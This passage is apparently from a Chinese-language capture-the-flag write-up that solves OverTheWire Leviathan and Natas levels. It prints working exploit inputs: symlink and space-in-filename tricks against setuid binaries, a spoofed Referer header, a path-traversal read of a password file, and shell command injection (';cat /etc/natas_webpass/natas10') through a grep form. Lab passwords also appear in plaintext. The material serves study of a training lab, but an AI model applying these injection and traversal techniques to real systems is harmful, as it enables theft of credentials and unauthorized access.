puts("You cant have that file..."You cant have that file...
)                           = 27
+++ exited (status 1) +++
leviathan2@gibson:~$ ltrace ./printfile /etc/leviathan_pass/leviathan3
__libc_start_main(0x80491e6, 2, 0xffffd4d4, 0 <unfinished ...>
access("/etc/leviathan_pass/leviathan3", 4)                  = -1
puts("You cant have that file..."You cant have that file...
)                           = 27
+++ exited (status 1) +++
leviathan2@gibson:~$ ltrace ./printfile .bashrc
__libc_start_main(0x80491e6, 2, 0xffffd4e4, 0 <unfinished ...>
access(".bashrc", 4)                                         = 0
snprintf("/bin/cat .bashrc", 511, "/bin/cat %s", ".bashrc")  = 16
geteuid()                                                    = 12002
geteuid()                                                    = 12002
setreuid(12002, 12002)                                       = 0
system("/bin/cat .bashrc"# ~/.bashrc: executed by bash(1) for non-login shells.

这里的逻辑是,access函数来判断你是否有某个文件的权限,然后调用cat进行输出。因此可行的解释就是使用有空格的文件名,做一个软连接,这样cat只会读取第一个,就结束了。

leviathan2@gibson:~$ cd /tmp/
leviathan2@gibson:/tmp$ ls
ls: cannot open directory '.': Permission denied
leviathan2@gibson:/tmp$ mkdir hnz
leviathan2@gibson:/tmp$ cd hnz
leviathan2@gibson:/tmp/hnz$ ls
leviathan2@gibson:/tmp/hnz$ ll
total 732
drwxrwxr-x     2 leviathan2 leviathan2   4096 Jul 19 06:59 ./
drwxrwx-wt 16075 root       root       741376 Jul 19 06:59 ../
leviathan2@gibson:/tmp/hnz$ touch "file1 file2.txt"
leviathan2@gibson:/tmp/hnz$ ls
file1 file2.txt
leviathan2@gibson:/tmp/hnz$ ln -s /etc/leviathan_pass/leviathan3 /tmp/hnz/file1
leviathan2@gibson:/tmp/hnz$ ll
total 732
drwxrwxr-x     2 leviathan2 leviathan2   4096 Jul 19 07:02 ./
drwxrwx-wt 16075 root       root       741376 Jul 19 07:02 ../
lrwxrwxrwx     1 leviathan2 leviathan2     30 Jul 19 07:02 file1 -> /etc/leviathan_pass/leviathan3
-rw-rw-r--     1 leviathan2 leviathan2      0 Jul 19 07:00 file1 file2.txt
leviathan2@gibson:~$ ./printfile /tmp/hnz/"file1 file2.txt"
Q0G8j4sakn
/bin/cat: file2.txt: No such file or directory
leviathan2@gibson:~$

level4

还是先看一下

leviathan3@gibson:~$ ./level3
Enter the password> 123
bzzzzzzzzap. WRONG
leviathan3@gibson:~$ ltrace ./level3
__libc_start_main(0x80492bf, 1, 0xffffd504, 0 <unfinished ...>
strcmp("h0no33", "kakaka")                                   = -1
printf("Enter the password> ")                               = 20
fgets(Enter the password> 1234
"1234\n", 256, 0xf7e2a620)                             = 0xffffd2dc
strcmp("1234\n", "snlprintf\n")                              = -1
puts("bzzzzzzzzap. WRONG"bzzzzzzzzap. WRONG
)                                   = 19
+++ exited (status 0) +++

然后就是直接读取了,这玩意儿就是一提权

leviathan3@gibson:~$ ./level3
Enter the password> snlprintf
[You've got shell]!
$ cat /etc/leviathan_pass/leviathan4
AgvropI4OA
$

level5

画风越来越正常了

leviathan4@gibson:~/.trash$ ./bin
01000101 01001011 01001011 01101100 01010100 01000110 00110001 01011000 01110001 01110011 00001010

显然的ascii编码

echo "01000101 01001011 01001011 01101100 01010100 01000110 00110001 01011000 01110001 01110011 00001010" | perl -lape '$_=pack"(B8)*",@F'
EKKlTF1Xqs

level6

貌似直接输出了level5的密码

leviathan5@gibson:~$ ./leviathan5
EKKlTF1Xqs

看起来有个叫log的很有用

leviathan5@gibson:~$ ltrace ./leviathan5
__libc_start_main(0x8049206, 1, 0xffffd534, 0 <unfinished ...>
fopen("/tmp/file.log", "r")                                  = 0
puts("Cannot find /tmp/file.log"Cannot find /tmp/file.log
)                            = 26
exit(-1 <no return ...>
+++ exited (status 255) +++
leviathan5@gibson:~$ ltrace ./leviathan5
__libc_start_main(0x8049206, 1, 0xffffd534, 0 <unfinished ...>
fopen("/tmp/file.log", "r")                                  = 0x804d1a0
fgetc(0x804d1a0)                                             = 'E'
feof(0x804d1a0)                                              = 0
putchar(69, 0x804a008, 0xf7c184be, 0xf7fbe4a0)               = 69
fgetc(0x804d1a0)                                             = 'K'
feof(0x804d1a0)                                              = 0
putchar(75, 0x804a008, 0xf7c184be, 0xf7fbe4a0)               = 75
fgetc(0x804d1a0)                                             = 'K'
feof(0x804d1a0)                                              = 0
putchar(75, 0x804a008, 0xf7c184be, 0xf7fbe4a0)               = 75
fgetc(0x804d1a0)                                             = 'l'
feof(0x804d1a0)                                              = 0
putchar(108, 0x804a008, 0xf7c184be, 0xf7fbe4a0)              = 108
fgetc(0x804d1a0)                                             = 'T'
feof(0x804d1a0)                                              = 0
putchar(84, 0x804a008, 0xf7c184be, 0xf7fbe4a0)               = 84
fgetc(0x804d1a0)                                             = 'F'
feof(0x804d1a0)                                              = 0
putchar(70, 0x804a008, 0xf7c184be, 0xf7fbe4a0)               = 70
fgetc(0x804d1a0)                                             = '1'
feof(0x804d1a0)                                              = 0
putchar(49, 0x804a008, 0xf7c184be, 0xf7fbe4a0)               = 49
fgetc(0x804d1a0)                                             = 'X'
feof(0x804d1a0)                                              = 0
putchar(88, 0x804a008, 0xf7c184be, 0xf7fbe4a0)               = 88
fgetc(0x804d1a0)                                             = 'q'
feof(0x804d1a0)                                              = 0
putchar(113, 0x804a008, 0xf7c184be, 0xf7fbe4a0)              = 113
fgetc(0x804d1a0)                                             = 's'
feof(0x804d1a0)                                              = 0
putchar(115, 0x804a008, 0xf7c184be, 0xf7fbe4a0)              = 115
fgetc(0x804d1a0)                                             = '\n'
feof(0x804d1a0)                                              = 0
putchar(10, 0x804a008, 0xf7c184be, 0xf7fbe4a0EKKlTF1Xqs
)               = 10
fgetc(0x804d1a0)                                             = '\377'
feof(0x804d1a0)                                              = 1
fclose(0x804d1a0)                                            = 0
getuid()                                                     = 12005
setuid(12005)                                                = 0
unlink("/tmp/file.log")                                      = 0
+++ exited (status 0) +++
leviathan5@gibson:~$

那还是软连接就解决了

leviathan5@gibson:~$ ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log
leviathan5@gibson:~$ ./leviathan5
YZ55XPVk2l
leviathan5@gibson:~$

level7

leviathan6@gibson:~$ ./leviathan6
usage: ./leviathan6 <4 digit code>
leviathan6@gibson:~$ ltrace ./leviathan6
__libc_start_main(0x80491d6, 1, 0xffffd504, 0 <unfinished ...>
printf("usage: %s <4 digit code>\n", "./leviathan6"usage: ./leviathan6 <4 digit code>
)         = 35
exit(-1 <no return ...>
+++ exited (status 255) +++
leviathan6@gibson:~$ ltrace ./leviathan6 1234
__libc_start_main(0x80491d6, 2, 0xffffd4e4, 0 <unfinished ...>
atoi(0xffffd668, 0xf7fd6f80, 0xf7c184be, 0xf7fbe4a0)         = 1234
puts("Wrong"Wrong
)                                                = 6
+++ exited (status 0) +++

很好,又要看汇编了

leviathan6@gibson:~$ objdump -d leviathan6

leviathan6:     file format elf32-i386


Disassembly of section .init:

08049000 <_init>:
 8049000:	f3 0f 1e fb          	endbr32
 8049004:	53                   	push   %ebx
 8049005:	83 ec 08             	sub    $0x8,%esp
 8049008:	e8 03 01 00 00       	call   8049110 <__x86.get_pc_thunk.bx>
 804900d:	81 c3 f3 2f 00 00    	add    $0x2ff3,%ebx
 8049013:	8b 83 fc ff ff ff    	mov    -0x4(%ebx),%eax
 8049019:	85 c0                	test   %eax,%eax
 804901b:	74 02                	je     804901f <_init+0x1f>
 804901d:	ff d0                	call   *%eax
 804901f:	83 c4 08             	add    $0x8,%esp
 8049022:	5b                   	pop    %ebx
 8049023:	c3                   	ret

Disassembly of section .plt:

08049030 <__libc_start_main@plt-0x10>:
 8049030:	ff 35 04 c0 04 08    	push   0x804c004
 8049036:	ff 25 08 c0 04 08    	jmp    *0x804c008
 804903c:	00 00                	add    %al,(%eax)
	...

08049040 <__libc_start_main@plt>:
 8049040:	ff 25 0c c0 04 08    	jmp    *0x804c00c
 8049046:	68 00 00 00 00       	push   $0x0
 804904b:	e9 e0 ff ff ff       	jmp    8049030 <_init+0x30>

08049050 <printf@plt>:
 8049050:	ff 25 10 c0 04 08    	jmp    *0x804c010
 8049056:	68 08 00 00 00       	push   $0x8
 804905b:	e9 d0 ff ff ff       	jmp    8049030 <_init+0x30>

08049060 <geteuid@plt>:
 8049060:	ff 25 14 c0 04 08    	jmp    *0x804c014
 8049066:	68 10 00 00 00       	push   $0x10
 804906b:	e9 c0 ff ff ff       	jmp    8049030 <_init+0x30>

08049070 <puts@plt>:
 8049070:	ff 25 18 c0 04 08    	jmp    *0x804c018
 8049076:	68 18 00 00 00       	push   $0x18
 804907b:	e9 b0 ff ff ff       	jmp    8049030 <_init+0x30>

08049080 <system@plt>:
 8049080:	ff 25 1c c0 04 08    	jmp    *0x804c01c
 8049086:	68 20 00 00 00       	push   $0x20
 804908b:	e9 a0 ff ff ff       	jmp    8049030 <_init+0x30>

08049090 <exit@plt>:
 8049090:	ff 25 20 c0 04 08    	jmp    *0x804c020
 8049096:	68 28 00 00 00       	push   $0x28
 804909b:	e9 90 ff ff ff       	jmp    8049030 <_init+0x30>

080490a0 <setreuid@plt>:
 80490a0:	ff 25 24 c0 04 08    	jmp    *0x804c024
 80490a6:	68 30 00 00 00       	push   $0x30
 80490ab:	e9 80 ff ff ff       	jmp    8049030 <_init+0x30>

080490b0 <atoi@plt>:
 80490b0:	ff 25 28 c0 04 08    	jmp    *0x804c028
 80490b6:	68 38 00 00 00       	push   $0x38
 80490bb:	e9 70 ff ff ff       	jmp    8049030 <_init+0x30>

Disassembly of section .text:

080490c0 <_start>:
 80490c0:	f3 0f 1e fb          	endbr32
 80490c4:	31 ed                	xor    %ebp,%ebp
 80490c6:	5e                   	pop    %esi
 80490c7:	89 e1                	mov    %esp,%ecx
 80490c9:	83 e4 f0             	and    $0xfffffff0,%esp
 80490cc:	50                   	push   %eax
 80490cd:	54                   	push   %esp
 80490ce:	52                   	push   %edx
 80490cf:	e8 19 00 00 00       	call   80490ed <_start+0x2d>
 80490d4:	81 c3 2c 2f 00 00    	add    $0x2f2c,%ebx
 80490da:	6a 00                	push   $0x0
 80490dc:	6a 00                	push   $0x0
 80490de:	51                   	push   %ecx
 80490df:	56                   	push   %esi
 80490e0:	c7 c0 d6 91 04 08    	mov    $0x80491d6,%eax
 80490e6:	50                   	push   %eax
 80490e7:	e8 54 ff ff ff       	call   8049040 <__libc_start_main@plt>
 80490ec:	f4                   	hlt
 80490ed:	8b 1c 24             	mov    (%esp),%ebx
 80490f0:	c3                   	ret
 80490f1:	66 90                	xchg   %ax,%ax
 80490f3:	66 90                	xchg   %ax,%ax
 80490f5:	66 90                	xchg   %ax,%ax
 80490f7:	66 90                	xchg   %ax,%ax
 80490f9:	66 90                	xchg   %ax,%ax
 80490fb:	66 90                	xchg   %ax,%ax
 80490fd:	66 90                	xchg   %ax,%ax
 80490ff:	90                   	nop

08049100 <_dl_relocate_static_pie>:
 8049100:	f3 0f 1e fb          	endbr32
 8049104:	c3                   	ret
 8049105:	66 90                	xchg   %ax,%ax
 8049107:	66 90                	xchg   %ax,%ax
 8049109:	66 90                	xchg   %ax,%ax
 804910b:	66 90                	xchg   %ax,%ax
 804910d:	66 90                	xchg   %ax,%ax
 804910f:	90                   	nop

08049110 <__x86.get_pc_thunk.bx>:
 8049110:	8b 1c 24             	mov    (%esp),%ebx
 8049113:	c3                   	ret
 8049114:	66 90                	xchg   %ax,%ax
 8049116:	66 90                	xchg   %ax,%ax
 8049118:	66 90                	xchg   %ax,%ax
 804911a:	66 90                	xchg   %ax,%ax
 804911c:	66 90                	xchg   %ax,%ax
 804911e:	66 90                	xchg   %ax,%ax

08049120 <deregister_tm_clones>:
 8049120:	b8 34 c0 04 08       	mov    $0x804c034,%eax
 8049125:	3d 34 c0 04 08       	cmp    $0x804c034,%eax
 804912a:	74 24                	je     8049150 <deregister_tm_clones+0x30>
 804912c:	b8 00 00 00 00       	mov    $0x0,%eax
 8049131:	85 c0                	test   %eax,%eax
 8049133:	74 1b                	je     8049150 <deregister_tm_clones+0x30>
 8049135:	55                   	push   %ebp
 8049136:	89 e5                	mov    %esp,%ebp
 8049138:	83 ec 14             	sub    $0x14,%esp
 804913b:	68 34 c0 04 08       	push   $0x804c034
 8049140:	ff d0                	call   *%eax
 8049142:	83 c4 10             	add    $0x10,%esp
 8049145:	c9                   	leave
 8049146:	c3                   	ret
 8049147:	8d b4 26 00 00 00 00 	lea    0x0(%esi,%eiz,1),%esi
 804914e:	66 90                	xchg   %ax,%ax
 8049150:	c3                   	ret
 8049151:	8d b4 26 00 00 00 00 	lea    0x0(%esi,%eiz,1),%esi
 8049158:	8d b4 26 00 00 00 00 	lea    0x0(%esi,%eiz,1),%esi
 804915f:	90                   	nop

08049160 <register_tm_clones>:
 8049160:	b8 34 c0 04 08       	mov    $0x804c034,%eax
 8049165:	2d 34 c0 04 08       	sub    $0x804c034,%eax
 804916a:	89 c2                	mov    %eax,%edx
 804916c:	c1 e8 1f             	shr    $0x1f,%eax
 804916f:	c1 fa 02             	sar    $0x2,%edx
 8049172:	01 d0                	add    %edx,%eax
 8049174:	d1 f8                	sar    %eax
 8049176:	74 20                	je     8049198 <register_tm_clones+0x38>
 8049178:	ba 00 00 00 00       	mov    $0x0,%edx
 804917d:	85 d2                	test   %edx,%edx
 804917f:	74 17                	je     8049198 <register_tm_clones+0x38>
 8049181:	55                   	push   %ebp
 8049182:	89 e5                	mov    %esp,%ebp
 8049184:	83 ec 10             	sub    $0x10,%esp
 8049187:	50                   	push   %eax
 8049188:	68 34 c0 04 08       	push   $0x804c034
 804918d:	ff d2                	call   *%edx
 804918f:	83 c4 10             	add    $0x10,%esp
 8049192:	c9                   	leave
 8049193:	c3                   	ret
 8049194:	8d 74 26 00          	lea    0x0(%esi,%eiz,1),%esi
 8049198:	c3                   	ret
 8049199:	8d b4 26 00 00 00 00 	lea    0x0(%esi,%eiz,1),%esi

080491a0 <__do_global_dtors_aux>:
 80491a0:	f3 0f 1e fb          	endbr32
 80491a4:	80 3d 34 c0 04 08 00 	cmpb   $0x0,0x804c034
 80491ab:	75 1b                	jne    80491c8 <__do_global_dtors_aux+0x28>
 80491ad:	55                   	push   %ebp
 80491ae:	89 e5                	mov    %esp,%ebp
 80491b0:	83 ec 08             	sub    $0x8,%esp
 80491b3:	e8 68 ff ff ff       	call   8049120 <deregister_tm_clones>
 80491b8:	c6 05 34 c0 04 08 01 	movb   $0x1,0x804c034
 80491bf:	c9                   	leave
 80491c0:	c3                   	ret
 80491c1:	8d b4 26 00 00 00 00 	lea    0x0(%esi,%eiz,1),%esi
 80491c8:	c3                   	ret
 80491c9:	8d b4 26 00 00 00 00 	lea    0x0(%esi,%eiz,1),%esi

080491d0 <frame_dummy>:
 80491d0:	f3 0f 1e fb          	endbr32
 80491d4:	eb 8a                	jmp    8049160 <register_tm_clones>

080491d6 <main>:
 80491d6:	8d 4c 24 04          	lea    0x4(%esp),%ecx
 80491da:	83 e4 f0             	and    $0xfffffff0,%esp
 80491dd:	ff 71 fc             	push   -0x4(%ecx)
 80491e0:	55                   	push   %ebp
 80491e1:	89 e5                	mov    %esp,%ebp
 80491e3:	53                   	push   %ebx
 80491e4:	51                   	push   %ecx
 80491e5:	83 ec 10             	sub    $0x10,%esp
 80491e8:	89 c8                	mov    %ecx,%eax
 80491ea:	c7 45 f4 d3 1b 00 00 	movl   $0x1bd3,-0xc(%ebp)
 80491f1:	83 38 02             	cmpl   $0x2,(%eax)
 80491f4:	74 20                	je     8049216 <main+0x40>
 80491f6:	8b 40 04             	mov    0x4(%eax),%eax
 80491f9:	8b 00                	mov    (%eax),%eax
 80491fb:	83 ec 08             	sub    $0x8,%esp
 80491fe:	50                   	push   %eax
 80491ff:	68 08 a0 04 08       	push   $0x804a008
 8049204:	e8 47 fe ff ff       	call   8049050 <printf@plt>
 8049209:	83 c4 10             	add    $0x10,%esp
 804920c:	83 ec 0c             	sub    $0xc,%esp
 804920f:	6a ff                	push   $0xffffffff
 8049211:	e8 7a fe ff ff       	call   8049090 <exit@plt>
 8049216:	8b 40 04             	mov    0x4(%eax),%eax
 8049219:	83 c0 04             	add    $0x4,%eax
 804921c:	8b 00                	mov    (%eax),%eax
 804921e:	83 ec 0c             	sub    $0xc,%esp
 8049221:	50                   	push   %eax
 8049222:	e8 89 fe ff ff       	call   80490b0 <atoi@plt>
 8049227:	83 c4 10             	add    $0x10,%esp
 804922a:	39 45 f4             	cmp    %eax,-0xc(%ebp)
 804922d:	75 2b                	jne    804925a <main+0x84>
 804922f:	e8 2c fe ff ff       	call   8049060 <geteuid@plt>
 8049234:	89 c3                	mov    %eax,%ebx
 8049236:	e8 25 fe ff ff       	call   8049060 <geteuid@plt>
 804923b:	83 ec 08             	sub    $0x8,%esp
 804923e:	53                   	push   %ebx
 804923f:	50                   	push   %eax
 8049240:	e8 5b fe ff ff       	call   80490a0 <setreuid@plt>
 8049245:	83 c4 10             	add    $0x10,%esp
 8049248:	83 ec 0c             	sub    $0xc,%esp
 804924b:	68 22 a0 04 08       	push   $0x804a022
 8049250:	e8 2b fe ff ff       	call   8049080 <system@plt>
 8049255:	83 c4 10             	add    $0x10,%esp
 8049258:	eb 10                	jmp    804926a <main+0x94>
 804925a:	83 ec 0c             	sub    $0xc,%esp
 804925d:	68 2a a0 04 08       	push   $0x804a02a
 8049262:	e8 09 fe ff ff       	call   8049070 <puts@plt>
 8049267:	83 c4 10             	add    $0x10,%esp
 804926a:	b8 00 00 00 00       	mov    $0x0,%eax
 804926f:	8d 65 f8             	lea    -0x8(%ebp),%esp
 8049272:	59                   	pop    %ecx
 8049273:	5b                   	pop    %ebx
 8049274:	5d                   	pop    %ebp
 8049275:	8d 61 fc             	lea    -0x4(%ecx),%esp
 8049278:	c3                   	ret

Disassembly of section .fini:

0804927c <_fini>:
 804927c:	f3 0f 1e fb          	endbr32
 8049280:	53                   	push   %ebx
 8049281:	83 ec 08             	sub    $0x8,%esp
 8049284:	e8 87 fe ff ff       	call   8049110 <__x86.get_pc_thunk.bx>
 8049289:	81 c3 77 2d 00 00    	add    $0x2d77,%ebx
 804928f:	83 c4 08             	add    $0x8,%esp
 8049292:	5b                   	pop    %ebx
 8049293:	c3                   	ret

还是movl这一句找立即数

80491ea:	c7 45 f4 d3 1b 00 00 	movl   $0x1bd3,-0xc(%ebp)

0x1bd3换算一下是7123 然后得到密码

leviathan6@gibson:~$ ./leviathan6 7123
$ cat /etc/leviathan_pass/leviathan7
8GpZ5f8Hze
$

进彩蛋

leviathan7@gibson:~$ ll
total 24
drwxr-xr-x  2 root       root       4096 Apr 23 18:05 ./
drwxr-xr-x 83 root       root       4096 Apr 23 18:06 ../
-rw-r--r--  1 root       root        220 Jan  6  2022 .bash_logout
-rw-r--r--  1 root       root       3771 Jan  6  2022 .bashrc
-r--r-----  1 leviathan7 leviathan7  178 Apr 23 18:05 CONGRATULATIONS
-rw-r--r--  1 root       root        807 Jan  6  2022 .profile
leviathan7@gibson:~$ cat CONGRATULATIONS
Well Done, you seem to have used a *nix system before, now try something more serious.
(Please don't post writeups, solutions or spoilers about the games on the web. Thank you!)
leviathan7@gibson:~$

这玩意儿,里面有大量的东西可不是linux操作啊,这里面有阅读汇编的内容的事儿,可底层。。。

被骗的很惨啊,这里面要会的linux是不是指RHCA那种,那可真屌

咋回事儿,人家不让传答案,az,反正我没啥流量,就传了吧。。。

level0

直接登录,然后查看网页源代码 level0

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas0", "pass": "natas0" };</script></head>
<body>
<h1>natas0</h1>
<div id="content">
You can find the password for the next level on this page.

<!--The password for natas1 is g9D9cREhslqBKtcA2uocGHPfMZVzeFK6 -->
</div>
</body>
</html>

level1

不让右键了 level1 那就按F12啊 level1

<!--The password for natas2 is h4ubbcXrWqsTo7GGnnUMLppXbOogfBZ7 -->

level2

说啥也没有 level2 还是看源码

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas2", "pass": "h4ubbcXrWqsTo7GGnnUMLppXbOogfBZ7" };</script></head>
<body>
<h1>natas2</h1>
<div id="content">
There is nothing on this page
<img src="files/pixel.png">
</div>
</body></html>

有个图片,点进去看,进父目录

http://natas2.natas.labs.overthewire.org/files/

level2 得到密码

# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:G6ctbMJ5Nb4cbFwhpMPSvxGHhQ7I6W8Q
eve:zo4mJWyNj2
mallory:9urtcpzBmH

level3

源代码啥也没有,很G


<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas3", "pass": "G6ctbMJ5Nb4cbFwhpMPSvxGHhQ7I6W8Q" };</script></head>
<body>
<h1>natas3</h1>
<div id="content">
There is nothing on this page
<!-- No more information leaks!! Not even Google will find it this time... -->
</div>
</body></html>

谷歌搜不到?我必应来搜! level3 进去是一个和level2一样的界面,解决了。。。

natas4:tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm

这个题需要知道site:这个高级搜索用法

level4

level4

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas4", "pass": "tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm" };</script></head>
<body>
<h1>natas4</h1>
<div id="content">

Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"
<br/>
<div id="viewsource"><a href="index.php">Refresh page</a></div>
</div>
</body>
</html>

然后一条命令解决

C:\Users\>curl -e "http://natas5.natas.labs.overthewire.org/" -u natas4:tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm "http://natas4.natas.labs.overthewire.org/"
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas4", "pass": "tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm" };</script></head>
<body>
<h1>natas4</h1>
<div id="content">

Access granted. The password for natas5 is Z0NsrtIkJoKALBCLi5eqFfcRN82Au2oD
<br/>
<div id="viewsource"><a href="index.php">Refresh page</a></div>
</div>
</body>
</html>

C:\Users\>

另一种方法则是使用burpsuite,自己发包

level5

发现需要cookie level5 那么随便改改也就解决了 level6

Access granted. The password for natas6 is fOIvE0MDtPTgRhqmmvvAOt2EfXR6uQgR

level6

进来可以看源代码

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas6", "pass": "<censored>" };</script></head>
<body>
<h1>natas6</h1>
<div id="content">

<?

include "includes/secret.inc";

    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }
?>

<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

这里与密钥有一个是否相同的判断,那么直接访问那个网址includes/secret.inc,得到密钥

<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>

然后输入,得到密码

Access granted. The password for natas7 is jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr

level7

登录后源码

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas7", "pass": "jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr" };</script></head>
<body>
<h1>natas7</h1>
<div id="content">

<a href="index.php?page=home">Home</a>
<a href="index.php?page=about">About</a>
<br>
<br>

<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
</div>
</body>
</html>

这个提示,很有这个网站的风格。。。

# 访问网址http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8
# 密钥
a6bZCNYwdKqN5cGP11ZdtPg0iImQQhAB

level8

核心在下边儿


<?

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is <censored>";
    } else {
    print "Wrong secret";
    }
}
?>

strrev函数的说明,就是反转字符串。

因此,建议找一些在线小工具做下面的操作

<?php
echo base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c315669563362")));
?>

输出结果后,得到密钥

Access granted. The password for natas9 is Sda6t0vkOPkM8YeOZkAGVhFoaplvlJFd

level9

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>

直接命令注入

输入;cat /etc/natas_webpass/natas10

得到密钥

D44EcsFkLxPIkAAKLosx8z3hxX1Z4MCE

level10

他们学聪明了

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?>

就是写正则,水的

[a-zA-Z] /etc/natas_webpass/natas11 #
[[:alpha:]] /etc/natas_webpass/natas11 #
1KFqoJXi6hRaPluAmk8ESDW4fSysRoIg

level11

代码审计工作如下:

<?

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

function loadData($def) {
    global $_COOKIE;
    $mydata = $def;
    if(array_key_exists("data", $_COOKIE)) {
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
        $mydata['showpassword'] = $tempdata['showpassword'];
        $mydata['bgcolor'] = $tempdata['bgcolor'];
        }
    }
    }
    return $mydata;
}

function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
